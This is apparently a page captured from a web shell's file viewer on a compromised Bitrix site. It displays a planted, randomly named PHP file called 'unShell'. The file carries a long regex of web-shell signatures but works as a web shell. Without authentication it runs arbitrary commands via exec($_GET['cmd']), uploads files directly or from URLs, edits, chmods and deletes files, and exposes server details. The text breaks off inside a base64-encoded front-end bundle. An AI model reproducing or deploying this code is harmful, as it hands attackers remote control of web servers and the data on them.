Your IP : 3.137.221.160


Current Path : /home/bitrix/ext_www/klimatlend.ua/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/209f81ac2c.php

<?php

define('PHP_VERSION_CS', PHP_VERSION_ID);
define('VALID_JSON_VERSION', 50304);

$UNSHELL_MESSAGES = array();

define('UNSHELL_OK', 0);
$UNSHELL_MESSAGES[UNSHELL_OK] = '';


define('UNSHELL_GENERIC_ERROR', -10);
$UNSHELL_MESSAGES[UNSHELL_GENERIC_ERROR] = 'Generic error';


define('UNSHELL_ERROR', -20);
$UNSHELL_MESSAGES[UNSHELL_ERROR] = 'Error';

define('UNSHELL_NO_DIR_FALLBACK', 5);
$UNSHELL_MESSAGES[UNSHELL_NO_DIR_FALLBACK] = 'No such directory falling back to default directory.';

define('UNSHELL_CANT_CHDIR', 1010);
$UNSHELL_MESSAGES[UNSHELL_CANT_CHDIR] = 'Can\'t change directory.';


define('UNSHELL_PATH_ACCESS_FORBIDDEN', 10);
$UNSHELL_MESSAGES[UNSHELL_PATH_ACCESS_FORBIDDEN] = 'Foridden access to path. Try to change mode or owner!';

define('UNSHELL_PATH_WRITE_ACCESS_FORBIDDEN', 15);
$UNSHELL_MESSAGES[UNSHELL_PATH_WRITE_ACCESS_FORBIDDEN] = 'Path is not writeable. Try to change mode or owner!';


define('UNSHELL_NOT_FILE', 20);
$UNSHELL_MESSAGES[UNSHELL_NOT_FILE] = 'Path is not file. Operation allowed only to file.';


define('UNSHELL_PATH_IS_ME', 25);
$UNSHELL_MESSAGES[UNSHELL_PATH_IS_ME] = 'Path points to ~Unshell~ file. No manipulation allowed.';

define('UNSHELL_DIR_ACCESS_FORBIDDEN', 30);
$UNSHELL_MESSAGES[UNSHELL_DIR_ACCESS_FORBIDDEN] = 'Access to directory is forbidden.';

define('UNSHELL_FILE_TOO_BIG', 35);
$UNSHELL_MESSAGES[UNSHELL_FILE_TOO_BIG] = 'File is too big.';


define('UNSHELL_NOT_DIR', 40);
$UNSHELL_MESSAGES[UNSHELL_NOT_DIR] = 'Path is not directory. Operation allowed only to directory.';


define('UNSHELL_OUT_OF_ALLOWED_DIR', 50);
$UNSHELL_MESSAGES[UNSHELL_OUT_OF_ALLOWED_DIR] = 'Path is out of allowed directory. Path has to be a child of ~Unshell~ directory.';


define('UNSHELL_PATH_IS_NOT_EXISTS', 60);
$UNSHELL_MESSAGES[UNSHELL_PATH_IS_NOT_EXISTS] = 'Path is pointing to nowhere.';

define('UNSHELL_PATH_IS_EXISTS', 65);
$UNSHELL_MESSAGES[UNSHELL_PATH_IS_EXISTS] = 'Path is already exists.';



define('UNSHELL_CANT_DELETE', 70);
$UNSHELL_MESSAGES[UNSHELL_CANT_DELETE] = 'Can\'t deflete file. Try to change permissions and the owner.';

define('UNSHELL_CANT_CHMOD', 80);
$UNSHELL_MESSAGES[UNSHELL_CANT_CHMOD] = 'Can\'t change permissions of file. Try to change the owner.';

define('UNSHELL_CANT_CHOWN', 90);
$UNSHELL_MESSAGES[UNSHELL_CANT_CHOWN] = 'Can\'t change the owner. Isn\'t is sad? (T_T)';

define('UNSHELL_WRONG_MODE', 100);
$UNSHELL_MESSAGES[UNSHELL_WRONG_MODE] = 'Wrong chmod mode. Mode has to have following format: 0XXX where X is in range 0-7.';

define('UNSHELL_CANT_SAVE', 110);
$UNSHELL_MESSAGES[UNSHELL_CANT_SAVE] = 'Can\'t change content of file.';

define('UNSHELL_CANT_UPLOAD', 120);
$UNSHELL_MESSAGES[UNSHELL_CANT_UPLOAD] = 'Can\'t upload file.';

define('UNSHELL_CANT_RENAME', 130);
$UNSHELL_MESSAGES[UNSHELL_CANT_RENAME] = 'Can\'t rename/move.';

define('UNSHELL_CANT_COPY', 140);
$UNSHELL_MESSAGES[UNSHELL_CANT_COPY] = 'Can\'t copy.';

define('UNSHELL_CANT_MKDIR', 150);
$UNSHELL_MESSAGES[UNSHELL_CANT_MKDIR] = 'Can\'t make directory.';

define('UNSHELL_CANT_MKFILE', 160);
$UNSHELL_MESSAGES[UNSHELL_CANT_MKFILE] = 'Can\'t make file.';

class unShell
{
    private $_messages = array();

    private $_status_code = UNSHELL_OK;

    
    private $extensions = array('php', 'asp', 'pl', 'sql');

    
    private $dateformat = "H:i:s d/m/Y";

    
    private $directory = '.';
    private $full_directory = '';

    
    private $show_full_path = false;

    
    private $scan_subdirs = true;

    
    private $scan_hidden = true;

    private $show_only_ext = true;

    
    private $task = '';

    
    private $filelimit = 30000;

    
    private $filesize = 10000000;

    
    private $owner = '';
    private $ownerid = -1;

    
    private $counter = 0;
    private $suspcounter = 0;

    
    private $files = array();


    
    private $title = 'UnShell';

    
    private $version = '0.1';

    
    private $_regex = '`Filesman|fopen(\s*)\(|chmod(\s*)\(|exec(\s*)\(|system(\s*)\(|eval(\s*)\(|Load\(Request\.BinaryRead\(int\.Parse\(Request\.Cookies|Html \= Replace\(Html\, \"\%26raquo\;\"\, \"?\"\)|pinkok|internal class reDuh|c0derz shell|md5 cracker|umer rock|Function CP\(S\,D\)\{sf\=CreateObject\(\"java\"\,\"java\.io\.File|Arguments\=xcmd\.text|asp cmd shell|Maceo|TEXTAREA id\=TEXTAREA1 name\=SqlQuery|CMD Bilgileri|sbusqlmod|php assert\(\$\_POST\[|oWshShellNet\.UserName|PHP C0nsole|rhtools|WinX Shell|system\(\$\_GET\[\'cmd\'|Successfully uploadet|\'Are you sure delete|sbusqlcmd|CFSWITCH EXPRESSION\=\#Form\.chopper|php\\\\HFile|\"ws\"\+\"cr\"\+\"ipt\.s\"\+\"hell\"|eval\(request\(|string rootkey|uZE Shell|Copyed success\!|InStr\(\"\$rar\$mdb\$zip\$exe\$com\$ico\$\"|Folder dosen\'t exists|Buradan Dosya Upload|echo passthru\(\$\_GET\[\'cmd\'|javascript:Bin\_PostBack|The file you want Downloadable|arguments\=\"/c \#cmd\#\"|cmdshell|AvFBP8k9CDlSP79lDl|AK-74 Security Team Web Shell|cfexecute name \= \"\#Form\.cmd\#\"|execute any shell commandn|Gamma Web Shell|System\.Reflection\.Assembly\.Load\(Request\.BinaryRead\(int\.Parse\(Request\.Cookies|fcreateshell|bash to execute a stack overflow|Safe Mode Shell|ASPX Shell|dingen\.php|azrailphp|\$\_POST\[\'sa\']\(\$\_POST\[\'sb\']\)|AspSpy|ntdaddy|\.HitU\. team|National Cracker Crew|eval\(base64\_decode\(\$\_REQUEST\[\'comment\'|Rootshell|geshi\\\\tsql\.php|tuifei\.asp|GRP WebShell|No Permission :\(|powered by zehir|will be delete all|WebFileManager Browsing|Dive Shell|diez\=server\.urlencode|@eval\(\$\_POST\[\'|ifupload\=\"ItsOk\"|eval\(request\.item|\(eval request\(|wsshn\.username|connect to reDuh|eval\(gzinflate\(base64\_decode|Ru24PostWebShell|ASPXTOOL\"|aspshell|File upload successfully you can download here|eval request\(|if\(is\_uploaded\_file\(\$HTTP|Sub RunSQLCMD|STNC WebShell|doosib|WinExec\(Target\_copy\_of\_cmd|php passthru\(getenv|win\.com cmd\.exe /c cacls\.exe|TUM HAKLARI SAKLIDIR|Created by PowerDream|Then Request\.Files\(0\)\.SaveAs\(Server\.MapPath\(Request|cfmshell|\{ Request\.Files\[0]\.SaveAs\(Server\.MapPath\(Request|\%execute\(request\(\"|php eval\(\$\_POST\[|lama\'s\'hell|RHTOOLS|data\=request\(\"dama\"|digitalapocalypse|hackingway\.tk|\.htaccess stealth web shell|strDat\.IndexOf\(\"EXEC \"|ExecuteGlobal request\(|Deleted file have finished|bin\_filern|CurrentVersionRunBackdoor|Chr\(124\)\.O\.Chr\(124\)|does not have permission to execute CMD\.EXE|G-Security Webshell|system\( \"\./findsock|configwizard|textarea style\=\"width:600\;height:200\" name\=\"cmd\"|ASPShell|repair/sam|BypasS Command eXecute|\%execute\(request\(|arguments\=\"/c \#hotmail|Coded by Loader|Call oS\.Run\(\"win\.com cmd\.exe|\'co\'\.\'py\'|DESERTSUN SERVER CRASHER|mbdfiles|ASPXSpy|cfparam name\=\"form\.shellpath\"|IIS Spy Using ADSI|p4ssw0rD|WARNING: Failed to daemonise|C0mmand line|phpinfo\(\) function has non-permissible|letaksekarang|Execute Shell Command|DXGLOBALSHIT|IISSpy|execute request\(|Chmod Ok\!|Upload Gagal|awen asp\.net|execute\(request\(\"|oSNet\.ComputerName"|base64_decode(.*)\(`i';

    
    private $_self = '';
    
    private $_self_directory = '';
    
    private $directory_writeable = false;

    private $directory_perms = '';

    
    function __construct($messages)
    {
        $this->_messages = $messages;

        

        if (isset($_GET['scan_subs'])) {
            $this->scan_subdirs = ($_GET['scan_subs'] === 'yes') ? true : false;
        }

        if (isset($_GET['only_ext'])) {
            $this->show_only_ext = ($_GET['only_ext'] === 'yes') ? true : false;
        }

        if (isset($_GET['dir'])) {
            $this->_self_directory = realpath($_GET['dir']);

            if ($this->_self_directory === false) {
                $this->_self_directory = __DIR__;
                $this->_status_code = UNSHELL_NO_DIR_FALLBACK;
            }
        } else {
            $this->_self_directory = __DIR__;
        }

        $this->directory_writeable = is_writable($this->_self_directory);

        $this->directory_perms = substr(sprintf('%o', fileperms($this->_self_directory)), -4);

        $this->setDir($this->_self_directory);

        $this->ownerid = getmyuid();
        $this->owner = $this->ownerid;

        if (function_exists('posix_getpwuid')) {
            $owner_info = @posix_getpwuid($this->ownerid);
            if ($owner_info) {
                $this->owner = $owner_info['name'];
            }
        }










        if (isset($_GET['task'])) {
            $this->task = $_GET['task'];
        }
    }

    
    public function setDir($dir)
    {
        $this->directory = $dir;
        $this->full_directory = realpath($this->directory);
    }

    
    public function start()
    {
        switch ($this->task) {
            case 'main_info':
                {
                    $data = array('owner_id' => $this->ownerid, 'owner' => $this->owner, 'title' => $this->title, 'version' => $this->version, 'writable' => $this->directory_writeable, 'perms' => $this->directory_perms, 'directory' => $this->_self_directory, 'extensions' => $this->extensions, 'SERVER_SIGNATURE' => $_SERVER['SERVER_SIGNATURE'], 'SERVER_SOFTWARE' => $_SERVER['SERVER_SOFTWARE'], 'REMOTE_ADDR' => $_SERVER['REMOTE_ADDR']);

                    $this->finish(null, $data);
                }
                break;
            
            case 'magic':
                {
                    echo file_get_contents(__FILE__);exit();
                }
            case 'file-delete':
                {
                    $file_path = $_GET['file'];

                    $this->finish($this->removeFile($file_path));
                }
            case 'mfiles-delete':
            {
                $data = json_decode(file_get_contents("php://input"), true);

                if (!isset($data['mfiles']) || (count($data['mfiles']) == 0)) {
                    $this->finish(UNSHELL_ERROR, null,'no file list provided');
                }

                $files_count = count($data['mfiles']);

                $files_processed = 0;

                foreach ($data['mfiles'] as $file_path) {
                    $res = $this->removeFile($file_path);

                    if ($res !== UNSHELL_OK){
                        $this->finish($res, null, 'during processing ' . $file_path . ' ' . $files_processed . '/' . $files_count);
                    }
                    
                    $files_processed++;
                }

                $this->finish(UNSHELL_OK);
            }
            case 'file-chmod':
                {
                    $file_path = $_GET['file'];

                    $mode = $_GET['mode'];

                    if (preg_match('/^[0-7]{4}$/m', $mode)) {
                        $result = chmod($file_path, octdec($mode));

                        if ($result === false) {
                            $this->finish(UNSHELL_CANT_CHMOD);
                        } else {
                            $this->finish(0);
                        }
                    } else {
                        $this->finish(UNSHELL_WRONG_MODE);
                    }
                }
            case 'file-chown':
                {
                    $file_path = $_GET['file'];
                    $result = chown($file_path, $this->ownerid);

                    if ($result === false) {
                        $this->finish(UNSHELL_CANT_CHOWN);
                    } else {
                        $this->finish(0);
                    }
                }
            case 'file-save':
                {
                    $file_path = $_GET['file'];

                    if (($res = $this->canManipulateFile($file_path)) !== UNSHELL_OK) {
                        $this->finish($res);
                    }

                    $data = json_decode(file_get_contents("php://input"), true);

                    $content = $data['content'];

                    $result = file_put_contents($file_path, $content);

                    if ($result === false) {
                        $this->finish(UNSHELL_CANT_SAVE);
                    } else {
                        $this->finish(0);
                    }
                }
            case 'file-content-raw':
                {
                    if (!isset($_GET['file'])) {
                        die('no file specified');
                    }

                    $file_path = $_GET['file'];

                    if (($res = $this->canReadFile($file_path)) !== UNSHELL_OK) {
                        $this->finish($res);
                    }

                    $file = $this->fileInfo($file_path);

                    $analize_data = $this->analyze($file['full_path'], false);


                    $file['content'] = base64_encode(file_get_contents($file['full_path']));

                    $file['message'] = $analize_data['message'];
                    $file['type'] = $analize_data['type'];

                    $file['funcs'] = $analize_data['funcs'];

                    $this->finish(UNSHELL_OK, $file);
                }
                break;
            case 'file-download':
                {
                    if (!isset($_GET['file'])) {
                        die('no file specified');
                    }

                    $file_path = $_GET['file'];

                    if (($res = $this->canReadFile($file_path)) !== UNSHELL_OK) {
                        $this->finish($res);
                    }

                    $file = $this->fileInfo($file_path);

                    if (function_exists('mime_content_type')) {
                        $mime_type = mime_content_type($file_path);
                    } else {
                        $mime_type = 'application/octet-stream';
                    }


                    header('Content-type: ' . $mime_type);
                    header('Content-Disposition: attachment; filename="' . basename(($file_path)) . '"');

                    readfile($file_path);
                    exit();
                }
            case 'files':
                {
                    $this->filescan();

                    $this->checkFiles();

                    $this->files = array_merge($this->files, $this->getDirs());

                    $this->finish($this->_status_code, array('working_directory' => $this->_self_directory, 'files' => $this->files));
                }
                break;
            case 'deleteme':
                {
                    unlink(__FILE__);
                    echo "Bye bye!";
                    exit();
                }
            case 'cmd':
                {
                    if (!chdir($this->directory)) {
                        $this->finish(UNSHELL_CANT_CHDIR);
                    }

                    $res = array();

                    try {
                        exec($_GET['cmd'] . ';pwd', $res);
                    } catch (Exception $e) {
                        $this->finish(UNSHELL_GENERIC_ERROR, array('error_message' => $e->getMessage()));
                    }

                    $nwd = $res[count($res) - 1];
                    unset($res[count($res) - 1]);
                    $this->finish(UNSHELL_OK, array('output' => $res, 'working_directory' => $nwd));
                }
            case 'mkdir':
                {
                    if (mkdir($this->_self_directory . '/' . $_GET['mkdir_name'])) {
                        $this->finish(UNSHELL_OK);
                    } else {
                        $this->finish(UNSHELL_CANT_MKDIR);
                    }
                }
            case 'rename':
                {
                    $tmp_from = $_GET['rename_from'];
                    $tmp_to = $_GET['rename_to'];
                    if (file_exists($tmp_to)) {
                        $this->finish(UNSHELL_PATH_IS_EXISTS);
                    }
                    if (rename($tmp_from, $tmp_to)) {
                        $this->finish(UNSHELL_OK);
                    } else {
                        $this->finish(UNSHELL_CANT_RENAME);
                    }
                }
            case 'mkfile':
                {
                    $tmp_name = $_GET['mkfile_name'];
                    if (file_exists($this->_self_directory . '/' . $tmp_name)) {
                        $this->finish(UNSHELL_PATH_IS_EXISTS);
                    }
                    if (file_put_contents($this->_self_directory . '/' . $tmp_name, '') !== false) {
                        $this->finish(UNSHELL_OK);
                    } else {
                        $this->finish(UNSHELL_CANT_MKFILE);
                    }
                }
            case 'upload_by_url':
                {
                    $tmp_file_name = $_GET['file_name'];
                    $tmp_url = $_GET['url'];
                    $tmp_overwrite = isset($_GET['overwrite']);

                    $this->finish($this->loadFileFromWeb($tmp_url, $this->_self_directory . '/' . $tmp_file_name, $tmp_overwrite));
                }
            case 'upload_files':
                {
                    foreach ($_FILES["files"]["error"] as $key => $error) {
                        if ($error == UPLOAD_ERR_OK) {
                            $tmp_name = $_FILES["files"]["tmp_name"][$key];
                            $name = basename($_FILES["files"]["name"][$key]);
                            if (!move_uploaded_file($tmp_name, $this->_self_directory . '/' . $name)) {
                                $this->finish(UNSHELL_CANT_UPLOAD, array('file_error_message' => $error, 'file' => basename($_FILES["files"]["name"][$key])));
                            }
                        } else {
                            $this->finish(UNSHELL_CANT_UPLOAD, array('file_error_message' => $error, 'file' => basename($_FILES["files"]["name"][$key])));
                        }
                    }
                    $this->finish(UNSHELL_OK);
                }
            default:
                {
                    $str = 'PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iL2Zhdmljb24uaWNvIj4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4KICAgIDx0aXRsZT5WaXRlIEFwcDwvdGl0bGU+CiAgICA8c2NyaXB0IHR5cGU9Im1vZHVsZSIgY3Jvc3NvcmlnaW4+CihmdW5jdGlvbigpe2NvbnN0IHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgibGluayIpLnJlbExpc3Q7aWYodCYmdC5zdXBwb3J0cyYmdC5zdXBwb3J0cygibW9kdWxlcHJlbG9hZCIpKXJldHVybjtmb3IoY29uc3QgbyBvZiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdsaW5rW3JlbD0ibW9kdWxlcHJlbG9hZCJdJykpcyhvKTtuZXcgTXV0YXRpb25PYnNlcnZlcihvPT57Zm9yKGNvbnN0IHIgb2YgbylpZihyLnR5cGU9PT0iY2hpbGRMaXN0Iilmb3IoY29uc3QgaSBvZiByLmFkZGVkTm9kZXMpaS50YWdOYW1lPT09IkxJTksiJiZpLnJlbD09PSJtb2R1bGVwcmVsb2FkIiYmcyhpKX0pLm9ic2VydmUoZG9jdW1lbnQse2NoaWxkTGlzdDohMCxzdWJ0cmVlOiEwfSk7ZnVuY3Rpb24gbihvKXtjb25zdCByPXt9O3JldHVybiBvLmludGVncml0eSYmKHIuaW50ZWdyaXR5PW8uaW50ZWdyaXR5KSxvLnJlZmVycmVyUG9saWN5JiYoci5yZWZlcnJlclBvbGljeT1vLnJlZmVycmVyUG9saWN5KSxvLmNyb3NzT3JpZ2luPT09InVzZS1jcmVkZW50aWFscyI/ci5jcmVkZW50aWFscz0iaW5jbHVkZSI6by5jcm9zc09yaWdpbj09PSJhbm9ueW1vdXMiP3IuY3JlZGVudGlhbHM9Im9taXQiOnIuY3JlZGVudGlhbHM9InNhbWUtb3JpZ2luIixyfWZ1bmN0aW9uIHMobyl7aWYoby5lcClyZXR1cm47by5lcD0hMDtjb25zdCByPW4obyk7ZmV0Y2goby5ocmVmLHIpfX0pKCk7LyoqCiogQHZ1ZS9zaGFyZWQgdjMuNC4xNQoqIChjKSAyMDE4LXByZXNlbnQgWXV4aSAoRXZhbikgWW91IGFuZCBWdWUgY29udHJpYnV0b3JzCiogQGxpY2Vuc2UgTUlUCioqL2Z1bmN0aW9uIHdzKGUsdCl7Y29uc3Qgbj1uZXcgU2V0KGUuc3BsaXQoIiwiKSk7cmV0dXJuIHQ/cz0+bi5oYXMocy50b0xvd2VyQ2FzZSgpKTpzPT5uLmhhcyhzKX1jb25zdCBkZT17fSwkdD1bXSxSZT0oKT0+e30sZmk9KCk9PiExLGtuPWU9PmUuY2hhckNvZGVBdCgwKT09PTExMSYmZS5jaGFyQ29kZUF0KDEpPT09MTEwJiYoZS5jaGFyQ29kZUF0KDIpPjEyMnx8ZS5jaGFyQ29kZUF0KDIpPDk3KSxicz1lPT5lLnN0YXJ0c1dpdGgoIm9uVXBkYXRlOiIpLHdlPU9iamVjdC5hc3NpZ24sRXM9KGUsdCk9Pntjb25zdCBuPWUuaW5kZXhPZih0KTtuPi0xJiZlLnNwbGljZShuLDEpfSxkaT1PYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5LGVlPShlLHQpPT5kaS5jYWxsKGUsdCksVj1BcnJheS5pc0FycmF5LFJ0PWU9PmVuKGUpPT09IltvYmplY3QgTWFwXSIsT249ZT0+ZW4oZSk9PT0iW29iamVjdCBTZXRdIixXcz1lPT5lbihlKT09PSJbb2JqZWN0IERhdGVdIixLPWU9PnR5cGVvZiBlPT0iZnVuY3Rpb24iLHllPWU9PnR5cGVvZiBlPT0ic3RyaW5nIixmdD1lPT50eXBlb2YgZT09InN5bWJvbCIsZmU9ZT0+ZSE9PW51bGwmJnR5cGVvZiBlPT0ib2JqZWN0IixEcj1lPT4oZmUoZSl8fEsoZSkpJiZLKGUudGhlbikmJksoZS5jYXRjaCksJHI9T2JqZWN0LnByb3RvdHlwZS50b1N0cmluZyxlbj1lPT4kci5jYWxsKGUpLGhpPWU9PmVuKGUpLnNsaWNlKDgsLTEpLFJyPWU9PmVuKGUpPT09IltvYmplY3QgT2JqZWN0XSIsU3M9ZT0+eWUoZSkmJmUhPT0iTmFOIiYmZVswXSE9PSItIiYmIiIrcGFyc2VJbnQoZSwxMCk9PT1lLGhuPXdzKCIsa2V5LHJlZixyZWZfZm9yLHJlZl9rZXksb25Wbm9kZUJlZm9yZU1vdW50LG9uVm5vZGVNb3VudGVkLG9uVm5vZGVCZWZvcmVVcGRhdGUsb25Wbm9kZVVwZGF0ZWQsb25Wbm9kZUJlZm9yZVVubW91bnQsb25Wbm9kZVVubW91bnRlZCIpLHhuPWU9Pntjb25zdCB0PU9iamVjdC5jcmVhdGUobnVsbCk7cmV0dXJuIG49PnRbbl18fCh0W25dPWUobikpfSxfaT0vLShcdykvZyxIdD14bihlPT5lLnJlcGxhY2UoX2ksKHQsbik9Pm4/bi50b1VwcGVyQ2FzZSgpOiIiKSkscGk9L1xCKFtBLVpdKS9nLEN0PXhuKGU9PmUucmVwbGFjZShwaSwiLSQxIikudG9Mb3dlckNhc2UoKSksTnI9eG4oZT0+ZS5jaGFyQXQoMCkudG9VcHBlckNhc2UoKStlLnNsaWNlKDEpKSxLbj14bihlPT5lP2BvbiR7TnIoZSl9YDoiIiksRXQ9KGUsdCk9PiFPYmplY3QuaXMoZSx0KSxfbj0oZSx0KT0+e2ZvcihsZXQgbj0wO248ZS5sZW5ndGg7bisrKWVbbl0odCl9LHZuPShlLHQsbik9PntPYmplY3QuZGVmaW5lUHJvcGVydHkoZSx0LHtjb25maWd1cmFibGU6ITAsZW51bWVyYWJsZTohMSx2YWx1ZTpufSl9LG5zPWU9Pntjb25zdCB0PXBhcnNlRmxvYXQoZSk7cmV0dXJuIGlzTmFOKHQpP2U6dH0sZ2k9ZT0+e2NvbnN0IHQ9eWUoZSk/TnVtYmVyKGUpOk5hTjtyZXR1cm4gaXNOYU4odCk/ZTp0fTtsZXQgSnM7Y29uc3QgUHI9KCk9PkpzfHwoSnM9dHlwZW9mIGdsb2JhbFRoaXM8InUiP2dsb2JhbFRoaXM6dHlwZW9mIHNlbGY8InUiP3NlbGY6dHlwZW9mIHdpbmRvdzwidSI/d2luZG93OnR5cGVvZiBnbG9iYWw8InUiP2dsb2JhbDp7fSk7ZnVuY3Rpb24gSXMoZSl7aWYoVihlKSl7Y29uc3QgdD17fTtmb3IobGV0IG49MDtuPGUubGVuZ3RoO24rKyl7Y29uc3Qgcz1lW25dLG89eWUocyk/d2kocyk6SXMocyk7aWYobylmb3IoY29uc3QgciBpbiBvKXRbcl09b1tyXX1yZXR1cm4gdH1lbHNlIGlmKHllKGUpfHxmZShlKSlyZXR1cm4gZX1jb25zdCBtaT0vOyg/IVteKF0qXCkpL2csdmk9LzooW15dKykvLHlpPS9cL1wqW15dKj9cKlwvL2c7ZnVuY3Rpb24gd2koZSl7Y29uc3QgdD17fTtyZXR1cm4gZS5yZXBsYWNlKHlpLCIiKS5zcGxpdChtaSkuZm9yRWFjaChuPT57aWYobil7Y29uc3Qgcz1uLnNwbGl0KHZpKTtzLmxlbmd0aD4xJiYodFtzWzBdLnRyaW0oKV09c1sxXS50cmltKCkpfX0pLHR9ZnVuY3Rpb24geihlKXtsZXQgdD0iIjtpZih5ZShlKSl0PWU7ZWxzZSBpZihWKGUpKWZvcihsZXQgbj0wO248ZS5sZW5ndGg7bisrKXtjb25zdCBzPXooZVtuXSk7cyYmKHQrPXMrIiAiKX1lbHNlIGlmKGZlKGUpKWZvcihjb25zdCBuIGluIGUpZVtuXSYmKHQrPW4rIiAiKTtyZXR1cm4gdC50cmltKCl9Y29uc3QgYmk9Iml0ZW1zY29wZSxhbGxvd2Z1bGxzY3JlZW4sZm9ybW5vdmFsaWRhdGUsaXNtYXAsbm9tb2R1bGUsbm92YWxpZGF0ZSxyZWFkb25seSIsRWk9d3MoYmkpO2Z1bmN0aW9uIFVyKGUpe3JldHVybiEhZXx8ZT09PSIifWZ1bmN0aW9uIFNpKGUsdCl7aWYoZS5sZW5ndGghPT10Lmxlbmd0aClyZXR1cm4hMTtsZXQgbj0hMDtmb3IobGV0IHM9MDtuJiZzPGUubGVuZ3RoO3MrKyluPVRuKGVbc10sdFtzXSk7cmV0dXJuIG59ZnVuY3Rpb24gVG4oZSx0KXtpZihlPT09dClyZXR1cm4hMDtsZXQgbj1XcyhlKSxzPVdzKHQpO2lmKG58fHMpcmV0dXJuIG4mJnM/ZS5nZXRUaW1lKCk9PT10LmdldFRpbWUoKTohMTtpZihuPWZ0KGUpLHM9ZnQodCksbnx8cylyZXR1cm4gZT09PXQ7aWYobj1WKGUpLHM9Vih0KSxufHxzKXJldHVybiBuJiZzP1NpKGUsdCk6ITE7aWYobj1mZShlKSxzPWZlKHQpLG58fHMpe2lmKCFufHwhcylyZXR1cm4hMTtjb25zdCBvPU9iamVjdC5rZXlzKGUpLmxlbmd0aCxyPU9iamVjdC5rZXlzKHQpLmxlbmd0aDtpZihvIT09cilyZXR1cm4hMTtmb3IoY29uc3QgaSBpbiBlKXtjb25zdCBsPWUuaGFzT3duUHJvcGVydHkoaSksYz10Lmhhc093blByb3BlcnR5KGkpO2lmKGwmJiFjfHwhbCYmY3x8IVRuKGVbaV0sdFtpXSkpcmV0dXJuITF9fXJldHVybiBTdHJpbmcoZSk9PT1TdHJpbmcodCl9ZnVuY3Rpb24gSHIoZSx0KXtyZXR1cm4gZS5maW5kSW5kZXgobj0+VG4obix0KSl9Y29uc3QgVz1lPT55ZShlKT9lOmU9PW51bGw/IiI6VihlKXx8ZmUoZSkmJihlLnRvU3RyaW5nPT09JHJ8fCFLKGUudG9TdHJpbmcpKT9KU09OLnN0cmluZ2lmeShlLFZyLDIpOlN0cmluZyhlKSxWcj0oZSx0KT0+dCYmdC5fX3ZfaXNSZWY/VnIoZSx0LnZhbHVlKTpSdCh0KT97W2BNYXAoJHt0LnNpemV9KWBdOlsuLi50LmVudHJpZXMoKV0ucmVkdWNlKChuLFtzLG9dLHIpPT4oblt6bihzLHIpKyIgPT4iXT1vLG4pLHt9KX06T24odCk/e1tgU2V0KCR7dC5zaXplfSlgXTpbLi4udC52YWx1ZXMoKV0ubWFwKG49PnpuKG4pKX06ZnQodCk/em4odCk6ZmUodCkmJiFWKHQpJiYhUnIodCk/U3RyaW5nKHQpOnQsem49KGUsdD0iIik9Pnt2YXIgbjtyZXR1cm4gZnQoZSk/YFN5bWJvbCgkeyhuPWUuZGVzY3JpcHRpb24pIT1udWxsP246dH0pYDplfTsvKioKKiBAdnVlL3JlYWN0aXZpdHkgdjMuNC4xNQoqIChjKSAyMDE4LXByZXNlbnQgWXV4aSAoRXZhbikgWW91IGFuZCBWdWUgY29udHJpYnV0b3JzCiogQGxpY2Vuc2UgTUlUCioqL2xldCBWZTtjbGFzcyBqcntjb25zdHJ1Y3Rvcih0PSExKXt0aGlzLmRldGFjaGVkPXQsdGhpcy5fYWN0aXZlPSEwLHRoaXMuZWZmZWN0cz1bXSx0aGlzLmNsZWFudXBzPVtdLHRoaXMucGFyZW50PVZlLCF0JiZWZSYmKHRoaXMuaW5kZXg9KFZlLnNjb3Blc3x8KFZlLnNjb3Blcz1bXSkpLnB1c2godGhpcyktMSl9Z2V0IGFjdGl2ZSgpe3JldHVybiB0aGlzLl9hY3RpdmV9cnVuKHQpe2lmKHRoaXMuX2FjdGl2ZSl7Y29uc3Qgbj1WZTt0cnl7cmV0dXJuIFZlPXRoaXMsdCgpfWZpbmFsbHl7VmU9bn19fW9uKCl7VmU9dGhpc31vZmYoKXtWZT10aGlzLnBhcmVudH1zdG9wKHQpe2lmKHRoaXMuX2FjdGl2ZSl7bGV0IG4scztmb3Iobj0wLHM9dGhpcy5lZmZlY3RzLmxlbmd0aDtuPHM7bisrKXRoaXMuZWZmZWN0c1tuXS5zdG9wKCk7Zm9yKG49MCxzPXRoaXMuY2xlYW51cHMubGVuZ3RoO248cztuKyspdGhpcy5jbGVhbnVwc1tuXSgpO2lmKHRoaXMuc2NvcGVzKWZvcihuPTAscz10aGlzLnNjb3Blcy5sZW5ndGg7bjxzO24rKyl0aGlzLnNjb3Blc1tuXS5zdG9wKCEwKTtpZighdGhpcy5kZXRhY2hlZCYmdGhpcy5wYXJlbnQmJiF0KXtjb25zdCBvPXRoaXMucGFyZW50LnNjb3Blcy5wb3AoKTtvJiZvIT09dGhpcyYmKHRoaXMucGFyZW50LnNjb3Blc1t0aGlzLmluZGV4XT1vLG8uaW5kZXg9dGhpcy5pbmRleCl9dGhpcy5wYXJlbnQ9dm9pZCAwLHRoaXMuX2FjdGl2ZT0hMX19fWZ1bmN0aW9uIElpKGUpe3JldHVybiBuZXcganIoZSl9ZnVuY3Rpb24gQ2koZSx0PVZlKXt0JiZ0LmFjdGl2ZSYmdC5lZmZlY3RzLnB1c2goZSl9ZnVuY3Rpb24ga2koKXtyZXR1cm4gVmV9bGV0IHd0O2NsYXNzIENze2NvbnN0cnVjdG9yKHQsbixzLG8pe3RoaXMuZm49dCx0aGlzLnRyaWdnZXI9bix0aGlzLnNjaGVkdWxlcj1zLHRoaXMuYWN0aXZlPSEwLHRoaXMuZGVwcz1bXSx0aGlzLl9kaXJ0eUxldmVsPTIsdGhpcy5fdHJhY2tJZD0wLHRoaXMuX3J1bm5pbmdzPTAsdGhpcy5fc2hvdWxkU2NoZWR1bGU9ITEsdGhpcy5fZGVwc0xlbmd0aD0wLENpKHRoaXMsbyl9Z2V0IGRpcnR5KCl7aWYodGhpcy5fZGlydHlMZXZlbD09PTEpe2t0KCk7Zm9yKGxldCB0PTA7dDx0aGlzLl9kZXBzTGVuZ3RoO3QrKyl7Y29uc3Qgbj10aGlzLmRlcHNbd